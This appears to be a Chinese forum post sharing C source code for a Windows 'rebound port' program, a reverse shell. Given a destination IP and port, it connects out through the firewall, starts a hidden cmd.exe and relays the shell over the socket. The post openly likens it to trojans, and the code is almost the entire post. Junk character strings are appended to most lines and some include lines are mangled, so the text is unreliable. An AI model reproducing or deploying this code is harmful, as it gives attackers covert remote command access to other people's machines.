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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PRa #; Wb  
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/* ============================== n$&xVaF|  
Rebound port in Windows NT ;H}XW=vO  
By wind,2006/7 ,'N8Ivt  
===============================*/ lu2"?y[2  
#include <?zn k8|  
#include 6qp2C]9=  
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#pragma comment(lib,"wsock32.lib") ZUPlMHc  
KsZd.Rf=@  
void OutputShell(); j+YA/54`  
SOCKET sClient; ,e<(8@BBL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @ W[LA<  
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void main(int argc,char **argv) sTv;Ogs.  
{ %iMRJ}8(7  
WSADATA stWsaData; jzt$  
int nRet; aAJ'0xnj  
SOCKADDR_IN stSaiClient,stSaiServer; JO{Rth  
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if(argc != 3) QU{|S.\  
{ K)=<hL  
printf("Useage:\n\rRebound DestIP DestPort\n"); M*6}#ST  
return; ;iEr+  
} "-bsWC  
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WSAStartup(MAKEWORD(2,2),&stWsaData); KVQ|l,E, /  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !} ~K'1"  
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stSaiClient.sin_family = AF_INET; w%Vw*i6o  
stSaiClient.sin_port = htons(0); A"ApWJ3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &b~if}vcb  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JWzN 'a R  
{ ] /w: 5o#  
printf("Bind Socket Failed!\n"); d'y\~M9(  
return; KicPW}_  
} 9b88):[qO  
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stSaiServer.sin_family = AF_INET; vOMmsU F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bg3`w__l;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lyZ[t PS  
! 3&_#VO  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) afE`GG-  
{ >Z-f</v03  
printf("Connect Error!"); p)'.swpJ  
return; %z9eVkPI~  
} ii,/omn:  
OutputShell(); (?[^##03MN  
} E6 glR  
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void OutputShell() `GGACH3#s  
{ k(As^'>  
char szBuff[1024]; 1"7Rs}l7  
SECURITY_ATTRIBUTES stSecurityAttributes; e&*< "WN  
OSVERSIONINFO stOsversionInfo; |^ K"#K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h0;PtQb1  
STARTUPINFO stStartupInfo; 0uZ 'j  
char *szShell; C B&$tDi  
PROCESS_INFORMATION stProcessInformation; '(N -jk  
unsigned long lBytesRead; ^ hoz<Ns  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9j6# #@{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !w+A3Z>V  
stSecurityAttributes.lpSecurityDescriptor = 0; Pi^5LI6JW  
stSecurityAttributes.bInheritHandle = TRUE; ^#:F8D  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?<7o\Xk#{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KB3zQJY  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qQz f&"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "otks\I<  
stStartupInfo.wShowWindow = SW_HIDE; &2i3"9k  
stStartupInfo.hStdInput = hReadPipe; iPnu *29  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E Ux kYl  
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GetVersionEx(&stOsversionInfo); +vR$%  
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switch(stOsversionInfo.dwPlatformId) eJh4hp;x  
{ _4H}OGZI  
case 1: <X5'uve  
szShell = "command.com"; 5|I2  
break; e7fA-,DV  
default: S w<V/t  
szShell = "cmd.exe"; s*blZdP  
break; HkgmZw,  
} X^pxu6nm-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~Z ,bd$  
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send(sClient,szMsg,77,0); ~}B6E)   
while(1) ^4D7sS;~3  
{ .'+*>y!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @I`X{oAA  
if(lBytesRead) +@ '( N  
{ _'g'M=E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $M `%A  
send(sClient,szBuff,lBytesRead,0); y1zNF$<q  
} /~k)#44  
else E="FE.%A  
{ =x8F!W}Bt<  
lBytesRead=recv(sClient,szBuff,1024,0); AYB =iLa  
if(lBytesRead<=0) break; Yn0l}=, n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q;Y9_5S  
} CTqAhL 4}  
} pH#*:v!)  
/hC[>t<  
return; W6kDQ& q  
}
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